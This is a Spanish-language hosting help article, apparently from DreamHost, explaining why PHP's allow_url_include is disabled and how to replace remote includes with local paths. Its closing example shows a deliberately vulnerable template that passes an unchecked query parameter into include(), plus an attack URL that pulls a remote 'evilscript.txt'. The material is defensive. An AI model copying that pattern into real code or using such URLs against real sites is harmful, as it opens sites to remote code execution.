allow_url_include

Generalidades

La opción de PHP allow_url_include normalmente permite a un programador a incluir() un archivo remoto (como código PHP) usando una URL más que un camino de un archivo local. Por razones de seguridad, DreamHost ha deshabilitado esta característica. Si un script lo requiere, debes ver otra alternativa, pues el uso de esto indica serias fallas de diseño.

¿Por que es malo?

Hay un número de razones por las cuales una inclusión de URL siempre debe ser evitada:

  • Es inseguro – si tu aplicación puede ser burlada en incluir contenido de una URL fuera de sí misma (hay un número de maneras comunes de que esto pase), un atacante puede forzar tu aplicación a correr código desde su propio sitio web.
  • Es ineficiente – Si tu script de PHP incluye contenido de una URL, entonces el servidor web debe hacer requerimientos de HTTP para generar la página. Esto hace que tu página sea más lenta de lo necesario, especialmente si el sitio del que estás cargando el contenido responde lento.
  • No es fidedigno, por varias razones – si el servidor web del que estás cargando contenido falla ocasionalmente, tu sitio web también fallará.
  • Es normalmente innecesario – en muchos casos, permitir allow_url_include puede ser evadido usando el contenido directamente (si está siendo cargado de un dominio que tu alojas) o cargando e imprimiendo el contenido sin evaluarlo como PHP.

Include del lado del servidor

Muchos desarrolladores incluyen archivos para apuntar a una URL remota, aún si el archivo está dentro del sistema local. Por ejemplo:

<php include("http://example.com/includes/example_include.php"); ?>

Con allow_url_include deshabilitado, este método no funciona. En vez, el archivo debe estar incluido con un camino local, y hay tres métodos de hacerlo:

  1. Usando un camino relativo, como ../includes/example_include.php.
  2. Usando un camino absoluto (también conocido como relative-from-root o relativo-de-root), como /home/username/example.com/includes/example_include.php.
  3. Usando una variable de ambiente de PHP $_SERVER['DOCUMENT_ROOT'], lo cual retorna el camino absoluto al directorio web del toor. Esto es la mejor solución (y la más portátil)

Ejemplos de Include

<?php include($_SERVER['DOCUMENT_ROOT']."/includes/example_include.php"); ?>

Procesar diferencias (y pasar variables a un archivo include)

Vale la pena mencionar que las soluciones alternativas presentadas aquí resultan en una diferencia en la manera que la función include() es manejada. Las soluciones alternativas retornan el código PHP de la página incluida; sin embargo, el método de URL remota ahora no disponible retorna el resultado de la página incluida. Un resultado de este comportamiento es de que no puedes pasar una línea de query usando soluciones alternativas. Tu defines las variables localmente antes de hacer el include, como se ve en el siguiente ejemplo:

Ejemplo

Para hacer el efecto de esto:

<?php include("http://example.com/includes/example_include.php?var=example"); ?>

tienes que usar esto en vez:

<?php $var = "example"; include($_SERVER['DOCUMENT_ROOT']."/includes/example_include.php"); ?>

Agregar flexibilidad

Para máxima flexibilidad (cuando múltiples includes son requeridas, por ejemplo), puede ser más fácil de crear una variable:

<?php $doc_root = $_SERVER['DOCUMENT_ROOT'];
include("$doc_root/includes/example_include.php");
include("$doc_root/includes/example_include2.php");
include("$doc_root/includes/example_include3.php");
include("$doc_root/includes/example_include4.php"); ?>

La técnica funciona de la misma manera, no importa si estas usando include() o require().

Configurar include_path

También puedes configurar explícitamente la directiva de PHP, "include_path", sobre la marcha:

<?php ini_set('include_path',
ini_get('include_path').':'.$_SERVER['DOCUMENT_ROOT'].'/includes');
include('example_include.php');
include('example_include2.php');
include('example_include3.php');
include('example_include4.php'); ?>

Ejemplo de exploitation

Un uso común de includes en el lado del servidor es crear algo como una plantilla de sitio. A menudo, una página con un header o un footer es alimentado con diferente contenido usando una línea de query.

<?php $page = ($_GET['page']) ? $_GET['page'] : "default.php"; ?>
<html>
<head>
e>This page is easy to exploit</title>
</head>
<body>

header...

<?php include($page); ?>

footer...

</body>
</html>

El contenido de la página puede variar anexando una línea de query en la URL:

http://example.com/index.php?page=varied.php

Si allow_url_include está habilitado, este sistema puede ser explotado simplemente cargando un valor de la variable en la línea de query:

http://example.com/index.php?page=http://websitehelp.support/evilscript.txt

Nota final

Solo di no. Habilitar allow_url_include es una idea terrible que expone tu sitio web, y los sitios web de otros en tu servidor compartido, un riesgo innecesario.

Ver también

¿Este artículo ha respondido sus preguntas?

Última actualización el PST.